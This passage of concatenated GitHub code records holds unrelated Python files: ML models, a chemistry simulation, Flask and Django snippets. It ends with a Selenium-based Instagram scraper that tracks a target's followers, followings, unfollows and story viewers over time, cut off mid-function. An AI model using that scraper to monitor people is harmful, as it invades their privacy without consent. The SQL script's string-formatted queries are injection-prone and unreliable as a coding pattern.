train_test_split(data)\n\n\n# In[ ]:\n\n\nmodel_difficult = Sequential()\nmodel_difficult.add(layers.Lambda(lambda x: x / 255.0, input_shape=(160, 320, 3)))\nmodel_difficult.add(layers.Cropping2D(cropping=((50, 20), (0, 0))))\nmodel_difficult.add(\n layers.Conv2D(\n 64, (5, 5), strides=(1, 1), activation=\"relu\", kernel_regularizer=l2(0.01)\n )\n)\nmodel_difficult.add(layers.Dropout(0.5))\nmodel_difficult.add(layers.MaxPooling2D(pool_size=2, strides=2))\nmodel_difficult.add(\n layers.Conv2D(128, (5, 5), activation=\"relu\", kernel_regularizer=l2(0.01))\n)\nmodel_difficult.add(layers.MaxPooling2D((2, 2)))\nmodel_difficult.add(\n layers.Conv2D(256, (5, 5), activation=\"relu\", kernel_regularizer=l2(0.01))\n)\nmodel_difficult.add(layers.MaxPooling2D((2, 2)))\nmodel_difficult.add(layers.Dropout(0.5))\nmodel_difficult.add(layers.Flatten())\nmodel_difficult.add(\n layers.Dense(units=250, activation=\"relu\", kernel_regularizer=l2(0.01))\n)\nmodel_difficult.add(\n layers.Dense(units=120, activation=\"relu\", kernel_regularizer=l2(0.01))\n)\nmodel_difficult.add(\n layers.Dense(units=84, activation=\"relu\", kernel_regularizer=l2(0.01))\n)\nmodel_difficult.add(layers.Dense(1))\nmodel_difficult.compile(optimizer=rmsprop(lr=0.0001, rho=0.9), loss=\"mse\")\nmodel_difficult.summary()\n\n\n# In[ ]:\n\n\ntrain_loader = loader(train, 32)\ntest_loader = loader(test, 32)\n\n\n# In[ ]:\n\n\nhistory = model_difficult.fit_generator(\n train_loader,\n steps_per_epoch=len(train) // 32,\n validation_data=test_loader,\n validation_steps=87,\n epochs=50,\n callbacks=[\n EarlyStopping(monitor=\"val_loss\", patience=5),\n ModelCheckpoint(\n \"model_difficult.h5\", save_best_only=True, monitor=\"val_loss\", mode=\"min\"\n ),\n ],\n)\n\n\n# In[ ]:\n\n\nplt.plot(history.history[\"loss\"], label=\"loss\")\nplt.plot(history.history[\"val_loss\"], label=\"val_loss\")\nplt.legend()\n\n\n# In[ ]:\n","repo_name":"sezan92/CarND-Behavioral-Cloning-P3","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30056371075","text":"import openpyxl\nwb = openpyxl.load_workbook('SLS+data.xlsx')\nsheet = wb.get_sheet_by_name('Affiliated and Related Projects')\nfirst_names = []\nlast_names = []\nproj_names = []\ndescriptions = []\ndesignation = []\nestimated = []\nemails = []\nfor i in range(20):\n first_names.append(sheet.cell(row=i + 3, column=1).value)\n last_names.append(sheet.cell(row=i + 3, column=2).value)\n proj_names.append(sheet.cell(row=i + 3, column=3).value)\n descriptions.append(sheet.cell(row=i + 3, column=4).value)\n designation.append(sheet.cell(row=i + 3, column=5).value)\n estimated.append(sheet.cell(row=i + 3, column=6).value)\n emails.append(sheet.cell(row=i + 3, column=7).value)\nf = open('data_import_4.sql', 'w')\nf.write('-- PROJECT\\n')\nfor i in range(len(first_names)):\n statement = \"INSERT INTO project (name, estNum, description, advfName, advlName, advEmail, desigName) VALUES (\\'{}\\', {}, \\'{}\\', \\'{}\\', \\'{}\\', \\'{}\\', \\'{}\\');\\n\".format(proj_names[i], estimated[i], descriptions[i], first_names[i], last_names[i], emails[i], designation[i])\n f.write(statement)\n\nf.write('\\n-- PROJECT CATEGORY\\n')\nfor i in range(len(proj_names)):\n statement = \"INSERT INTO project_category (projectName, categoryName) VALUES (\\'{}\\', \\'{}\\');\\n\".format(proj_names[i], 'temp')\n f.write(statement)\nf.close()","repo_name":"bmawji3/cs4400","sub_path":"phase3/resources/excel_reader.py","file_name":"excel_reader.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10407804165","text":"# from array import*\n\n# list = [2,4,6,8,3,5]\n\n# arr = array('i' , [])\n\n# arr.fromlist(list)\n\n# print(str(arr))\n\n# from array import *\n# array_num = array('i', [1, 3, 5, 7, 9])\n# print(\"Original array: \"+str(array_num))\n# print(\"Insert new value 4 before 3:\")\n\n# array_num.pop(2)\n# print(\"New array: \"+str(array_num))\n\ndef dublicate_number(nums):\n new_list = set()\n dubilacet_no = -1\n\n for i in range(len(nums)):\n if nums[i] in new_list:\n return nums[i]\n else:\n new_list.add(nums[i])\n\n return dubilacet_no\n\n\nprint(dublicate_number([1,2,3,4,5,6,7,4]))\nprint(dublicate_number([1,2,3,4,5,6,7]))\nprint(dublicate_number([1,1,2,3,4,5,6,7,4]))\n \n\n\n\n\n\n\n\n\n \n\n\n\n\n","repo_name":"Shashi-Chaurasia/Python_array_practice","sub_path":"append_item.py","file_name":"append_item.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74871721653","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nimport xgboost as xgb\nimport pickle\n\n# Setting Seed value\nseed = 3101\nnp.random.seed(seed)\n\ndef preprocess(df):\n \"\"\"\n The function removes the columns date, time, station and T{i}S{j}_station number, where i,j ranges from 1 to 6 (inclusive)\n These columns are removed as they are not useful features for the model and are only there for human understandability.\n Any NA values are replaced with 0.\n\n Args:\n df (pandas Dataframe): data that has been read in from sliding_window_data.csv. \n \n Returns:\n pandas Dataframe with no NA values and the stated columns dropped.\n\n \"\"\"\n # drop the date, time and station labels \n drop_cols = [\"date\",\"time\",\"station\"]\n for i in range(1,7):\n for j in range(1,7):\n drop_cols.append(f\"T{i}S{j}_station number\")\n processed_df = df.drop(drop_cols, axis=1, inplace=False)\n processed_df.fillna(value=0, inplace=True)\n return processed_df\n\n\ndef train(X_train, y_train):\n \"\"\"\n Fits an XGBoost model on a subset of the full dataset given as input.\n\n Args:\n X_train (pandas Dataframe): training data for all features \n y_train (pandas Dataframe): labels for training data \n\n Returns:\n A trained XGBoost model instance\n\n \"\"\"\n model = xgb.XGBRegressor(n_estimators=500, \n max_depth=10,\n grow_policy=\"lossguide\",\n learning_rate=0.01,\n objective=\"reg:squarederror\",\n reg_alpha=0.5,\n reg_lambda=0.5,\n tree_method=\"hist\",\n random_state=seed,\n )\n model.fit(X_train, y_train)\n return model\n\ndef evaluate(y_pred, y_true):\n \"\"\"\n Calculates False Negative rate, False Positive Rate and F1 score of the model prediction\n and prints the 3 metrics to 5dp.\n Assumes any value > 0.0 is considered as prediction as rain.\n\n Args:\n y_pred (pandas Dataframe): predicted labels from the model\n y_true (pandas Dataframe): true label\n \n Returns:\n List containing the 3 metrics calculated in the order of \n [False Negative Rate, False Positive Rate and F1 score]\n\n \"\"\"\n threshold = 0.0\n result = pd.DataFrame({'predicted': y_pred, 'actual': y_true}, columns=['predicted', 'actual'])\n fn = result[result['actual'] > threshold] ## all actual positives\n fn = fn[round(fn['predicted'], 1) <= threshold]\n fnr = len(fn) / len(result[result['actual'] > threshold])\n\n fp = result[result['actual'] == threshold] ## all actual negatives\n fp = fp[round(fp['predicted'], 1) > threshold]\n fpr = len(fp) / len(result[result['actual'] == threshold])\n\n tp = result[result['actual'] > threshold] ## all actual positive\n tp = tp[round(tp['predicted'], 1) > threshold]\n tp = len(tp)\n\n f1 = tp / (tp + 0.5*(len(fp) + len(fn)))\n print(f'False negative rate (FN/FN+TP) is : {fnr:.5f}')\n print(f'False positive rate (FP/FP+TN) is : {fpr:.5f}')\n print(f'F1 score is [ TP/(TP + 0.5(FP+FN)) ]: {f1:.5f}')\n return [fnr, fpr, f1]\n\ndef save(model, filename):\n \"\"\"\n Save the model to the given filename as a pickle file\n\n Args:\n model: Trained model to be saved\n filename : file name where model is to be saved\n \n \"\"\"\n pickle.dump(model, open(filename, \"wb\"))\n\n\ndef main():\n # Import subset (2 million rows) of dataset\n # Pre-process data\n sliding_window_data = pd.read_csv('sliding_window_data.csv', nrows=2000000)\n cleaned_data = preprocess(sliding_window_data)\n X_all = cleaned_data.iloc[:,1:]\n y_all = cleaned_data.iloc[:,0]\n\n # Train-Test split\n # Train 80% - Test 20%\n # Total number of rows = 2 million\n X_train, X_test, y_train, y_test = train_test_split(X_all, y_all, test_size=0.2, random_state=seed)\n\n # Train XGBoost model\n xgboost_model = train(X_train, y_train)\n\n # Evaluate model performance and print some statistics\n prediction = xgboost_model.predict(X_test)\n evaluate(prediction, y_test)\n\n # Save model into XGBoost.pkl in current directory\n filename = \"XGBoost.pkl\"\n save(xgboost_model, filename)\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"natashafjy/dsa3101-2220-11-rain","sub_path":"backend/models/save_models/XGBoost.py","file_name":"XGBoost.py","file_ext":"py","file_size_in_byte":4382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"6697164362","text":"import tensorflow as tf\n\n# see the paper A Neural Algorithm of Artistic Style \n# by Leon A. Gatys, Alexander S. Ecker, and Matthias Bethge\ndef content_loss(content_weights, content_current, content_original):\n \"\"\"\n Compute the content loss for style transfer.\n We can generate an image that reflects the content of one image and\n the style of another by incorporating both in our loss function.\n We want to penalize deviations from the content of the content image\n and deviations from the style of the style image. We can then use this\n hybrid loss function to perform gradient descent not on the parameters\n of the model, but instead on the pixel values of our original image.\n \n Inputs:\n - content_weights: scalar constant we multiply the content_loss by.\n - content_current: features of the current image, a list of Tensors.\n - content_target: features of the content image, a list of Tensors, \n with same shape as content_current.\n \n Returns:\n - scalar content loss\n \"\"\"\n loss = 0.0\n for i in tf.range(len(content_weights)):\n loss += tf.reduce_mean((content_current[i] - content_original[i])**2) * content_weights[i]\n return loss","repo_name":"zhangguobin/fast-neural-style","sub_path":"modules/content_loss.py","file_name":"content_loss.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37218445051","text":"class Solution:\n def countServers(self, grid: 'List[List[int]]') -> int:\n def dfs(checked, og, sr, sc, cnt):\n\n checked[sr][sc] = 1\n cnt += 1\n # print(sr,sc, cnt)\n\n c = sc - 1\n while c > -1: # go left and check\n if og[sr][c] == 1 and checked[sr][c] == 0:\n cnt = dfs(checked, og, sr, c, cnt)\n c -= 1\n\n c = sc + 1\n while c < len(og[0]): # go right and check\n if og[sr][c] == 1 and checked[sr][c] == 0:\n cnt = dfs(checked, og, sr, c, cnt)\n c += 1\n\n r = sr - 1\n while r > -1: # go up and check\n if og[r][sc] == 1 and checked[r][sc] == 0:\n cnt = dfs(checked, og, r, sc, cnt)\n r -= 1\n\n r = sr + 1\n while r < len(og): # go down and check\n if og[r][sc] == 1 and checked[r][sc] == 0:\n cnt = dfs(checked, og, r, sc, cnt)\n r += 1\n\n return cnt # return how many connected can be found\n\n og = grid.copy()\n output = 0\n checked = [[0 for _ in range(len(grid[0]))] for _ in range(len(grid))]\n for r in range(len(og)):\n for c in range(len(og[0])):\n if og[r][c] == 1 and checked[r][c] == 0:\n cnt = dfs(checked, og, r, c, 0)\n if cnt > 1: # it can found more than 1 (the node itself)\n output += cnt\n\n return output\n\n\n\n\n\n\n\n\n","repo_name":"renjieliu/leetcode","sub_path":"1001_1499/1267.py","file_name":"1267.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"28034238987","text":"import numpy\nimport openmm\nimport openmm.app\nimport openmm.unit\nimport qm3\nimport qm3.engines.openmm\nimport qm3.engines.xtb\nimport qm3.utils\nimport qm3.utils.hessian\nimport qm3.actions.minimize\nimport qm3.utils._mpi\nimport sys\nimport os\n\nwho, cpu = qm3.utils._mpi.init()\n\ncwd = os.path.abspath( os.path.dirname( sys.argv[0] ) ) + os.sep\n\nmol = qm3.molecule()\nmol.pdb_read( open( \"node.25\" ) )\nmol.boxl = numpy.array( [ 40.0, 40.0, 40.0 ] )\nmol.psf_read( open( cwd + \"oxy-cope.psf\" ) )\nmol.guess_atomic_numbers()\n\n_psf = openmm.app.charmmpsffile.CharmmPsfFile( cwd + \"oxy-cope.psf\" )\n_psf.setBox( mol.boxl[0] * openmm.unit.angstrom,\n mol.boxl[1] * openmm.unit.angstrom,\n mol.boxl[2] * openmm.unit.angstrom )\n_prm = openmm.app.charmmparameterset.CharmmParameterSet( cwd + \"oxy-cope.top\", cwd + \"oxy-cope.prm\" )\n_sys = _psf.createSystem( _prm,\n nonbondedMethod = openmm.app.CutoffPeriodic,\n nonbondedCutoff = 16.0 * openmm.unit.angstrom,\n switchDistance = 14.0 * openmm.unit.angstrom,\n rigidWater = False )\n\nsqm = mol.resn == \"COP\"\nsmm = mol.sph_sel( sqm, 14 )\nprint( sqm.sum(), smm.sum(), end = \" \" )\nsmm = numpy.logical_and( smm, numpy.logical_not( sqm ) )\nprint( smm.sum() )\n\nmol.set_active( sqm )\n\ntsk = [ [] for i in range( cpu ) ]\nsiz = 0\nfor i in numpy.argwhere( sqm ).ravel():\n for j in [0, 1, 2]:\n tsk[siz%cpu].append( ( siz, i, j ) )\n siz += 1\ndsp = 1.0e-4\n\nif( who == 0 ):\n print( [ len( tsk[i] ) for i in range( cpu ) ] )\n sys.stdout.flush()\n\n log = open( \"borra_log.mm\", \"wt\" )\n\n emm = qm3.engines.openmm.run( _sys, _psf.topology, sel_QM = sqm, platform = \"OpenCL\" )\n mol.engines[\"mm\"] = emm\n\n eqm = qm3.engines.xtb.run( mol, 0, 0, sel_QM = sqm, sel_MM = smm )\n mol.engines[\"qm\"] = eqm\n\n def calc_hess( self: object, step: int ):\n sys.stdout.flush()\n # optimize MM counterpart previous a hessian calculation...\n eqm.get_func( self )\n self.set_active( smm )\n self.engines[\"mm\"].update_chrg( self )\n self.engines.pop( \"qm\" )\n qm3.actions.minimize.fire( self, gradient_tolerance = 0.5, log_file = log )\n log.flush()\n self.chrg[sqm] = 0.0\n self.engines[\"mm\"].update_chrg( self )\n self.engines[\"qm\"] = eqm\n self.set_active( sqm )\n # -------------------------------------------------------------\n if( step % 10 == 0 ):\n crd = self.coor.ravel().tolist()\n qm3.utils._mpi.barrier()\n for i in range( 1, cpu ):\n qm3.utils._mpi.send_r8( i, crd )\n hes = numpy.zeros( ( siz, siz ), dtype=numpy.float64 )\n for k,i,j in tsk[who]:\n bak = self.coor[i,j]\n self.coor[i,j] = bak + dsp\n self.get_grad()\n gp = self.grad[sqm].ravel()\n self.coor[i,j] = bak - dsp\n self.get_grad()\n hes[k,:] = ( gp - self.grad[sqm].ravel() ) / ( 2.0 * dsp )\n self.coor[i,j] = bak\n\n qm3.utils._mpi.barrier()\n for i in range( 1, cpu ):\n hes += numpy.array( qm3.utils._mpi.recv_r8( i, siz * siz ) ).reshape( ( siz, siz ) )\n self.hess = 0.5 * ( hes + hes.T )\n\n qm3.utils.hessian.manage( self, self.hess )\n self.get_grad()\n else:\n self.get_grad()\n qm3.utils.hessian.manage( self, self.hess, should_update = True )\n return( qm3.utils.hessian.raise_RT( self.hess, qm3.utils.RT_modes( self ) ) )\n\n qm3.actions.minimize.baker( mol,\n calc_hess,\n gradient_tolerance = 2.0,\n step_number = 100,\n print_frequency = 1,\n follow_mode = 0 )\n\n with open( \"saddle.pdb\", \"wt\" ) as f:\n mol.pdb_write( f )\n\n val, vec = qm3.utils.hessian.frequencies( mol, mol.hess )\n print( val[0:10] )\n qm3.utils.hessian.normal_mode( mol, val, vec, 0, afac = 8.0 )\n\nelse:\n os.mkdir( \"par.%02d\"%( who ) )\n os.chdir( \"par.%02d\"%( who ) )\n\n mol.engines[\"mm\"] = qm3.engines.openmm.run( _sys, _psf.topology, sel_QM = sqm, platform = \"OpenCL\" )\n mol.engines[\"qm\"] = qm3.engines.xtb.run( mol, 0, 0, sel_QM = sqm, sel_MM = smm )\n\n while( True ):\n qm3.utils._mpi.barrier()\n mol.coor = numpy.array( qm3.utils._mpi.recv_r8( 0, 3 * mol.natm ) ).reshape( ( mol.natm, 3 ) )\n\n hes = numpy.zeros( ( siz, siz ), dtype=numpy.float64 )\n for k,i,j in tsk[who]:\n bak = mol.coor[i,j]\n mol.coor[i,j] = bak + dsp\n mol.get_grad()\n gp = mol.grad[sqm].ravel()\n mol.coor[i,j] = bak - dsp\n mol.get_grad()\n hes[k,:] = ( gp - mol.grad[sqm].ravel() ) / ( 2.0 * dsp )\n mol.coor[i,j] = bak\n qm3.utils._mpi.barrier()\n qm3.utils._mpi.send_r8( 0, hes.ravel().tolist() )\n\n\nqm3.utils._mpi.stop()\n","repo_name":"sergio-marti/ren-qm3","sub_path":"samples/oxy-cope/psaddle.py","file_name":"psaddle.py","file_ext":"py","file_size_in_byte":4861,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"5104985467","text":"from flask import Flask, jsonify, request\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///./our.db'\ndb = SQLAlchemy(app)\n\n\nclass User(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(60), unique=True)\n emails = db.relationship('Email', backref='person', lazy=True)\n\n def to_dict(self):\n return {'name': self.name, 'id': self.id, 'emails': [email.address for email in self.emails]}\n\n\nclass Email(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n address = db.Column(db.String(100), unique=True)\n user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)\n\n\n@app.route(\"/add_with_post\", methods=[\"POST\"])\ndef add_with_post():\n data = request.json\n print(data)\n user = data['user']\n email = data['email']\n u = User.query.filter_by(name=user).first()\n if u is None:\n u = User(name=user)\n temp_email = Email.query.filter_by(address=email)\n if temp_email is None:\n u.emails.append(Email(address=email))\n db.session.add(u)\n db.session.commit()\n return jsonify({'response': 'Email is already in db response'}), 400\n\n\n@app.route(\"/get/\")\ndef get_emails(user):\n u = User.query.filter_by(name=user).first()\n if u is not None:\n return jsonify(u.to_dict()), 200\n return jsonify({'response': 'No such user'}), 404\n\n\"\"\"\nserver.db.create_all()\nu = server.User(name='Anders')\n$ u\n$ u.name\n$ u.emails\ne = server.Email(address='anders.froberg')\n$ e\nu.emails.append(e)\nserver.db.session.commit()\n$ e.address\n$ e.person\n//\nserver.db.drop_all()\n\"\"\"\n\n\"\"\"\nserver.db.create_all()\n\"\"\"\n\nif __name__ == '__main__':\n # print_hi('PyCharm')\n app.debug = True\n app.run(port=5080)","repo_name":"Minoo7/TDDD80","sub_path":"Lectures/Lecture2/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4913328527","text":"from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\npath('status', views.json_res, name='status'),\npath('', views.home_view, name='home_view'),\npath('looks/', views.looks_list, name='looks_list'),\npath('looks/', views.view_look, name='view_look'),\npath('items/', views.items_list, name='items_list'),\npath('items/', views.view_item, name='view_item'),\npath('items/', views.slug_view, name='slug_view'),\npath('order_view/', views.order_view, name='order_view'), \npath('items/add/', views.add_to_cart, name='add_to_cart'), \npath('about/', views.about, name='about'),\npath('profile/', views.profile, name='profile'),\npath('items//delete', views.delete_item_from_order, name='delete_item_from_order'),\npath('checkout/', views.checkout, name='checkout')\n]\n\n","repo_name":"meganecummings/Beautify","sub_path":"Beautify/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"40759660407","text":"import csv\nimport math\nimport time\n\n#import pygame\n\nwith open('/home/thomas/Github/Object_Detection/lidar/lidar_data/2020-12-03-17-26-18/scan.csv') as csvfile:\n reader = csv.DictReader(csvfile)\n\n rowcounter = 0\n columncounter = 0\n\n # to get values out of csv file\n lidarrange = \"ranges_\"\n #print(lidarrange)\n\n # number of points captured\n points = 1080\n\n\n\n # iterate over rows\n for row in reader:\n\n sweeps = []\n list = []\n\n # iterate over columns\n for x in range(points + 1):\n value = lidarrange + str(x)\n #print(lidarrange + str(x))\n #print(value)\n # print(row[value])\n list.append(row[value])\n\n sweeps.append(list)\n #print(row['ranges_1'] +\" \"+ row['ranges_2'])\n rowcounter = rowcounter +1\n\n\n#print(\"counted \"+ str(rowcounter) + \" rows\")\n#print(list)\n#print(sweeps)\n#pygame.init()\n\nwidth = 1000\nheight = 1000\n\n#screen = pygame.display.set_mode([width,height])\nrunning = True\n#while running:\n\npointlist = []\n\n\n # Did the user click the window close button?\n\n #for event in pygame.event.get():\n\n # if event.type == pygame.QUIT:\n # running = False\n\n # Fill the background with white\n\n #screen.fill((0, 0, 0))\n\nscaling = 80\n #newAngle = 270/points\n\nangleStart = 0\n\nstartx = width/2\nstarty = height/2\n\n # Draw a solid blue circle in the center\n\n #pygame.draw.circle(screen, (255, 0, 0), (startx, starty), 1)\n\nanglectr = angleStart\n\nfor r in list:\n\n coordinates = []\n\n radian = anglectr * (math.pi / 180)\n #print(str(r) +\" at angle of \"+str(radian))\n anglectr = anglectr + 0.25\n\n x = float(scaling)*float(r)*math.cos(radian)\n y = float(scaling)*float(r)*math.sin(radian)\n\n coordinates.append(x)\n coordinates.append(y)\n #print(angleStart)\n #pygame.draw.circle(screen, (0, 255, 0), (x+startx, y+starty), 1)\n\n pointlist.append(coordinates)\n #time.sleep(0.1)\n #pygame.display.flip()\n\n#print(pointlist)\n #time.sleep(50)\n # Flip the display\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn.cluster import AgglomerativeClustering\n\ncluster = AgglomerativeClustering(n_clusters=8, affinity='euclidean', linkage='ward')\ncluster.fit_predict(pointlist)\n#print(cluster.labels_)\n\n#print(len(pointlist))\n\nplotlist = []\n\"\"\"\nX = np.array([[5,3],\n [10,15],\n [15,12],\n [24,10],\n [30,30],\n [85,70],\n [71,80],\n [60,78],\n [70,55],\n [80,91],])\n \"\"\"\n\n#cluster.fit_predict(X)\n\nfor point in range(len(pointlist)):\n\n #convert values in tuple to int\n x = int(pointlist[point][0])\n y = int(pointlist[point][1])\n\n #bring them back together\n intcoordinates =[]\n\n intcoordinates.append(x)\n intcoordinates.append(y)\n #print(intcoordinates)\n plotlist.append(intcoordinates)\n\n\nplotlistArray = np.asarray(plotlist)\n\nprint(plotlistArray)\n\ncluster.fit_predict(plotlistArray)\nprint(cluster.labels_)\n\nplt.scatter(plotlistArray[:,0], plotlistArray[:,1], c=cluster.labels_, cmap='rainbow')\n\n\n\nplt.show()\n\n\n\n","repo_name":"ThomasVerschoor/Object_Detection","sub_path":"lidar/cluster_data.py","file_name":"cluster_data.py","file_ext":"py","file_size_in_byte":3087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26406638258","text":"def fatorial(n, show=False):\n fat = 1\n for c in range(n, 0, -1):\n if show:\n print(c, end='')\n if c > 1:\n print(' x ', end='')\n else:\n print(' = ', end='')\n fat *= c\n return fat\n\n\nprint(fatorial(5, show=True))\n# pode ser True ou show=True. se for show=False não mostra\n","repo_name":"KKBittencourtZ/LevelUp","sub_path":"Python/chalendsPython/ex102.py","file_name":"ex102.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27599615511","text":"from linkBuilder import getProfileLink, getFollowerLink,getFollowingLink\nfrom utils import parseObj\nfrom dfManager import dfUpdate, dfLoad, dfSave, dfReset, dfPrint, dfUpdateAll, dfGetProfileByUsername, dfGetProfileByID,dfGetFollowersUsername,dfGetFollowingsUsername\nfrom chrome import start, fetchJsonData\nfrom time import sleep\nfrom datetime import datetime\nfrom selenium.webdriver.common.action_chains import ActionChains\nimport json\nimport pandas as pd\nimport os\nmaxProfile=1000 #n/50 = m requests to find all the profile\nbrowser = None\n\ndef fetchUserData(username):\n jsonData = fetchJsonData(browser,getProfileLink(username))\n userJson = parseObj(jsonData['graphql']['user'],['id','username','full_name'])\n return userJson\n\ndef fetchUserFollower(id):\n nextPage = True\n afterId = None\n followers = []\n follower_number = 0\n while nextPage and follower_number < maxProfile:\n jsonData = fetchJsonData(browser,getFollowerLink(id=id, after=afterId))\n jsonData = jsonData['data']['user']['edge_followed_by']\n follower_number = jsonData['count']\n hasnext = jsonData['page_info']['has_next_page']\n id_after = jsonData['page_info']['end_cursor']\n for follower in jsonData['edges']:\n parsedFollower = parseObj(follower['node'],['id','username','full_name'])\n followers.append(parsedFollower)\n afterId = id_after\n nextPage = hasnext\n if follower_number > maxProfile:\n print('Errore: Troppi follower')\n return followers\n\ndef fetchUserFollowing(id):\n nextPage = True\n afterId = None\n followings = []\n following_number = 0\n while nextPage and following_number < maxProfile:\n jsonData = fetchJsonData(browser,getFollowingLink(id=id, after=afterId))\n jsonData = jsonData['data']['user']['edge_follow']\n following_number = jsonData['count']\n hasnext = jsonData['page_info']['has_next_page']\n id_after = jsonData['page_info']['end_cursor']\n for following in jsonData['edges']:\n parsedFollowing = parseObj(following['node'],['id','username','full_name'])\n followings.append(parsedFollowing)\n afterId = id_after\n nextPage = hasnext\n if following_number > maxProfile:\n print('Errore: Troppi following')\n return followings\n\ndef fetchUserStories(username):\n browser.get(\"https://www.instagram.com/\"+username)\n storie=browser.find_element_by_xpath('//header/div/div/span/img')\n storie.click()\n sleep(1)\n visualAllIGS={}\n while browser.current_url != \"https://www.instagram.com/\"+username+\"/\":\n del browser.requests\n visual=browser.find_element_by_xpath('//body/div/section/div/div/section/div/div/div/button')\n numerovisual= int(visual.find_element_by_xpath('div/span/span').text)\n visual.click()\n sleep(1)\n elemVisual=[]\n while len(elemVisual)startTime) & (added_list.iid_followed == user['id'])]\n dfSave(profile_list, follow_list, added_list, stopped_list, tgID)\n browser.close()\n return new_added\n\ndef getNewFollowings(tgID, username, startTime):\n global browser\n browser = start(tgID)\n profile_list, follow_list, added_list, stopped_list = dfLoad(tgID)\n profile_list, user = checkIfUsernameExist(profile_list,username)\n followers = fetchUserFollowing(user['id'])\n profile_list, follow_list, added_list, stopped_list = dfUpdateAll(profile_list, follow_list, added_list, stopped_list, followers, user['id'], target='following')\n new_adding=added_list[(pd.to_datetime(added_list.date)>startTime) & (added_list.iid_following == user['id'])]\n dfSave(profile_list, follow_list, added_list, stopped_list, tgID)\n browser.close()\n return new_adding\n\ndef getNewFollowS(tgID, username, startTime):\n global browser\n browser = start(tgID)\n profile_list, follow_list, added_list, stopped_list = dfLoad(tgID)\n profile_list, user = checkIfUsernameExist(profile_list,username)\n\n followers = fetchUserFollowing(user['id'])\n profile_list, follow_list, added_list, stopped_list = dfUpdateAll(profile_list, follow_list, added_list, stopped_list, followers, user['id'], target='following')\n new_adding=added_list[(pd.to_datetime(added_list.date)>startTime) & (added_list.iid_following == user['id'])]\n\n followers = fetchUserFollower(user['id'])\n profile_list, follow_list, added_list, stopped_list = dfUpdateAll(profile_list, follow_list, added_list, stopped_list, followers, user['id'], target='follower')\n new_added=added_list[(pd.to_datetime(added_list.date)>startTime) & (added_list.iid_followed == user['id'])]\n\n dfSave(profile_list, follow_list, added_list, stopped_list, tgID)\n browser.close()\n return new_adding, new_added\n\ndef getALLFollowS(tgID, username, startTime):\n global browser\n browser = start(tgID)\n profile_list, follow_list, added_list, stopped_list = dfLoad(tgID)\n try:\n profile_list, user = checkIfUsernameExist(profile_list,username)\n except:\n browser.close()\n return None, None, None, None\n followers = fetchUserFollowing(user['id'])\n profile_list, follow_list, added_list, stopped_list = dfUpdateAll(profile_list, follow_list, added_list, stopped_list, followers, user['id'], target='following')\n new_stoping=stopped_list[(pd.to_datetime(stopped_list.date)>startTime) & (stopped_list.iid_following == user['id'])]\n new_adding=added_list[(pd.to_datetime(added_list.date)>startTime) & (added_list.iid_following == user['id'])]\n\n followers = fetchUserFollower(user['id'])\n profile_list, follow_list, added_list, stopped_list = dfUpdateAll(profile_list, follow_list, added_list, stopped_list, followers, user['id'], target='follower')\n new_stoped=stopped_list[(pd.to_datetime(stopped_list.date)>startTime) & (stopped_list.iid_followed == user['id'])]\n new_added=added_list[(pd.to_datetime(added_list.date)>startTime) & (added_list.iid_followed == user['id'])]\n\n dfSave(profile_list, follow_list, added_list, stopped_list, tgID)\n browser.close()\n return new_stoping,new_stoped,new_adding, new_added\n\ndef getStpFollowS(tgID, username, startTime):\n global browser\n browser = start(tgID)\n profile_list, follow_list, added_list, stopped_list = dfLoad(tgID)\n profile_list, user = checkIfUsernameExist(profile_list,username)\n\n followers = fetchUserFollowing(user['id'])\n profile_list, follow_list, added_list, stopped_list = dfUpdateAll(profile_list, follow_list, added_list, stopped_list, followers, user['id'], target='following')\n new_stoping=stopped_list[(pd.to_datetime(stopped_list.date)>startTime) & (stopped_list.iid_following == user['id'])]\n\n followers = fetchUserFollower(user['id'])\n profile_list, follow_list, added_list, stopped_list = dfUpdateAll(profile_list, follow_list, added_list, stopped_list, followers, user['id'], target='follower')\n new_stoped=stopped_list[(pd.to_datetime(stopped_list.date)>startTime) & (stopped_list.iid_followed == user['id'])]\n\n dfSave(profile_list, follow_list, added_list, stopped_list,tgID)\n browser.close()\n return new_stoping, new_stoped\n\ndef getStpFollowers(tgID, username, startTime):\n global browser\n browser = start(tgID)\n profile_list, follow_list, added_list, stopped_list = dfLoad(tgID)\n profile_list, user = checkIfUsernameExist(profile_list,username)\n followers = fetchUserFollower(user['id'])\n profile_list, follow_list, added_list, stopped_list = dfUpdateAll(profile_list, follow_list, added_list, stopped_list, followers, user['id'], target='follower')\n 